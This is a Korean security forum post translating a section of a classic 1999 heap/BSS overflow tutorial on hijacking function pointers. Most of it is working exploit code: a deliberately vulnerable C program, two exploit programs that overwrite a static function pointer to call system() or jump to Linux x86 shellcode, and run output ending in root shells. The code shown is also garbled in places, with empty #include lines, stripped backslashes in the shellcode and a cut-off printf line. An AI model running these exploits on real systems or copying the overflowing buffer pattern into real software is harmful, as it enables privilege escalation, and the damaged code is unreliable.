security

Total 112
Today 0
profile_image
운영자
01-02-06 09:27 0개 2,619회
Heap based Overflow --(3 )
Heap based overflow







이번 주에는 소스코드 중 목차 2.4 에 해당하는 내용을 발송해 드립니다.





contents



0. Heap and Data/BSS section



1. Why Heap/BSS Overflows are Significant?



2. Exploiting Heap/BSS Overflows (source code)

2.1 Prelude of heap based overflow

2.2 Getting close

2.3 The First Chase

2.4 Playing with function pointers

2.5 Longjmp



3. The Preys



--------------------------------------------------------------------------------



2.4 Playing with function pointers



이제 pointer를 어떻게 overwrite하는지 알았으니 이제 function pointer를 건드리는 방법을 소개한다. 이 다음의 예들은 excutable heap을 필요로 한다.



function pointer를 그 주소를 overwrite하는 방법으로 마꾸어 줄 수 있으며, 이 함수 실행될 때, 이 포인터는 우리가 원하는 다른 function을 실행하게 된다. 우리는 이 것을 사용해서 shell code를 실행시킬 수 있다. 다음 방법들이 가능하다.



1. argv[] 방법 : 프로그램의 argument에 shell code를 실어 보낸다. (excutable stack 필요)



2. heap offset 방법 : heap의 처음부터 target/overflow buffer 까지의 offset을 guessing 한다. (역시 excutable heap 필요)



대부분의 시스템에서는 stack보다는 heap이 excutable일 확률이 높다. 따라서 heap method가 더 성공할 확률이 높다.



두번째 방법은 대략적인 offset을 가지고 어떠한 function의 주소를 guess하는 것이 다. 만약 프로그램중에 system()의 위치를 알면, 상당히 가까운 offset을 가질 것이다. (vulprog와 exploit이 같은 방법으로 compile이 되었다면..) 이 방법의 장점은 excutable일 필요는 없다는 것이다.



두번째 방법을 사람들이 좋아하는 이유는 단순하기 때문이다. 우리는 exploit의 system()의 주소를 사용해서 vulprog의 system()의 offset을 추측할 수 있다. 이는 remote 에서도 동일하다. (물론 OS, ARCH, ver등은 같다고 가정한다. ) stack 방법을 사용하면 우리는 무엇이든지 할 수 있고 또한 공통되는 function pointer를 필요로 하지 않는다. (i.e., char (*funcptr)(int a) and void (*funcptr)() 는 같은 일을 한다. ) 그러나 excutable stack을 필요로 한다는 점에서 약간의 불리함을 가진다.



다음의 프로그램은 위 두가지 방법을 시험하는 test program 이다.







/*

* Just the vulnerable program we will exploit.

* Compile as: gcc -o vulprog vulprog.c (or change exploit macros)

*/



#include

#include

#include

#include



#define ERROR -1

#define BUFSIZE 64



int goodfunc(const char *str); /* funcptr starts out as this */



int main(int argc, char **argv)

{

static char buf[BUFSIZE];

static int (*funcptr)(const char *str);



if (argc <= 2)

{

fprintf(stderr, "Usage: %s n", argv[0]);

exit(ERROR);

}



printf("(for 1st exploit) system() = %pn",

printf("(for 2nd exploit, stack method) argv[2] = %pn", argv[2]);

printf("(for 2nd exploit, heap offset method) buf = %pnn", buf);



funcptr = (int (*)(const char *str))goodfunc;

printf("before overflow: funcptr points to %pn", funcptr);



memset(buf, 0, sizeof(buf));

strncpy(buf, argv[1], strlen(argv[1]));

printf("after overflow: funcptr points to %pn", funcptr);



(void)(*funcptr)(argv[2]);

return 0;

}



/* ---------------------------------------------- */



/* This is what funcptr would point to if we didn't overflow it */

int goodfunc(const char *str)

{

printf("nHi, I'm a good function. I was passed: %sn", str);

return 0;

}

-----------------------------------------------------------------------------



첫 번째 예이다.

-----------------------------------------------------------------------------

/*

* Copyright (C) January 1999, Matt Conover & WSD

*

* Demonstrates overflowing/manipulating static function pointers in

* the bss (uninitialized data) to execute functions.

* (bss내의 static function pointer를 overflow시켜서 공유된 library의 함수를 사용하는 방법의 demo)

* Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)

* To compile use: gcc -o exploit1 exploit1.c

*/



#include

#include

#include

#include



#define BUFSIZE 64 /* the estimated diff between funcptr/buf */



#define VULPROG "./vulprog" /* vulnerable program location */

#define CMD "/bin/sh" /* command to execute if successful */



#define ERROR -1



int main(int argc, char **argv)

{

register int i;

u_long sysaddr;

static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};



if (argc <= 1)

{

fprintf(stderr, "Usage: %s n", argv[0]);

fprintf(stderr, "[offset = estimated system() offset]nn");



exit(ERROR);

}



sysaddr = (u_long)&system - atoi(argv[1]);

printf("trying system() at 0x%lxn", sysaddr);



memset(buf, 'A', BUFSIZE);



/* reverse byte order (on a little endian system) */

for (i = 0; i < sizeof(sysaddr); i++)

buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;



execl(VULPROG, VULPROG, buf, CMD, NULL);

return 0;

}



위 exploit을 compile해서 실행시킨다면,



[root /w00w00/heap/examples]# ./exploit1 16

trying system() at 0x80484d0

(for 1st exploit) system() = 0x80484d0

(for 2nd exploit, stack method) argv[2] = 0xbffffd3c

(for 2nd exploit, heap offset method) buf = 0x804a9a8



before overflow: funcptr points to 0x8048770

after overflow: funcptr points to 0x80484d0

bash#





두 번째 방법이다. argv[], heap offset 방법 두가지를 사용한다.



-----------------------------------------------------------------------------



/*

* Copyright (C) January 1999, Matt Conover & WSD

*

* This demonstrates how to exploit a static buffer to point the

* function pointer at argv[] to execute shellcode. This requires

* an executable heap to succeed.

*(excutable heap에 shell code를 넣고(argv[] method) static buffer를 overflow시켜서 shell code를 *실행하도록 한다. 이 방법은 stack이나 heap이나 동일하다. )

* The exploit takes two argumenst (the offset and "heap"/"stack").

* For argv[] method, it's an estimated offset to argv[2] from

* the stack top. For the heap offset method, it's an estimated offset

* to the target/overflow buffer from the heap top.

*

* Try values somewhere between 325-345 for argv[] method, and 420-450

* for heap.

*

* To compile use: gcc -o exploit2 exploit2.c

*/



#include

#include

#include

#include



#define ERROR -1

#define BUFSIZE 64 /* estimated diff between buf/funcptr */



#define VULPROG "./vulprog" /* where the vulprog is */



char shellcode[] = /* just aleph1's old shellcode (linux x86) */

"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0"

"x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8"

"x40xcdx80xe8xdcxffxffxff/bin/sh";



u_long getesp()

{

__asm__("movl %esp,%eax"); /* set sp as return value */

}



int main(int argc, char **argv)

{

register int i;

u_long sysaddr;

char buf[BUFSIZE + sizeof(u_long) + 1];



if (argc <= 2)

{

fprintf(stderr, "Usage: %s n", argv[0]);

exit(ERROR);

}



if (strncmp(argv[2], "stack", 5) == 0)

{

printf("Using stack for shellcode (requires exec. stack)n");



sysaddr = getesp() + atoi(argv[1]);

printf("Using 0x%lx as our argv[1] addressnn", sysaddr);



memset(buf, 'A', BUFSIZE + sizeof(u_long));

}



else

{

printf("Using heap buffer for shellcode "

"(requires exec. heap)n");



sysaddr = (u_long)sbrk(0) - atoi(argv[1]);

printf("Using 0x%lx as our buffer's addressnn", sysaddr);



if (BUFSIZE + 4 + 1 < strlen(shellcode))

{

fprintf(stderr, "error: buffer is too small for shellcode "

"(min. = %d bytes)n", strlen(shellcode));



exit(ERROR);

}



strcpy(buf, shellcode);

memset(buf + strlen(shellcode), 'A',

BUFSIZE - strlen(shellcode) + sizeof(u_long));

}



buf[BUFSIZE + sizeof(u_long)] = '';



/* reverse byte order (on a little endian system) */

for (i = 0; i < sizeof(sysaddr); i++)

buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;



execl(VULPROG, VULPROG, buf, shellcode, NULL);

return 0;

}



When we run this with an offset of 334 for the argv[] method we get:

[root /w00w00/heap/examples] ./exploit2 334 stack

Using stack for shellcode (requires exec. stack)

Using 0xbffffd16 as our argv[1] address



(for 1st exploit) system() = 0x80484d0

(for 2nd exploit, stack method) argv[2] = 0xbffffd16

(for 2nd exploit, heap offset method) buf = 0x804a9a8



before overflow: funcptr points to 0x8048770

after overflow: funcptr points to 0xbffffd16

bash#



When we run this with an offset of 428-442 for the heap offset method we get:

[root /w00w00/heap/examples] ./exploit2 428 heap

Using heap buffer for shellcode (requires exec. heap)

Using 0x804a9a8 as our buffer's address



(for 1st exploit) system() = 0x80484d0

(for 2nd exploit, stack method) argv[2] = 0xbffffd16

(for 2nd exploit, heap offset method) buf = 0x804a9a8



before overflow: funcptr points to 0x8048770

after overflow: funcptr points to 0x804a9a8

bash#





Note : heap method의 또 다른 장점은 좀더 넓은 offset의 범위를 가진다는 것이다.



argv[] 방법은 정확해야 한다. 그러나 heap 방법은 428-442사이의 범위를 가진다.

댓글목록

등록된 댓글이 없습니다.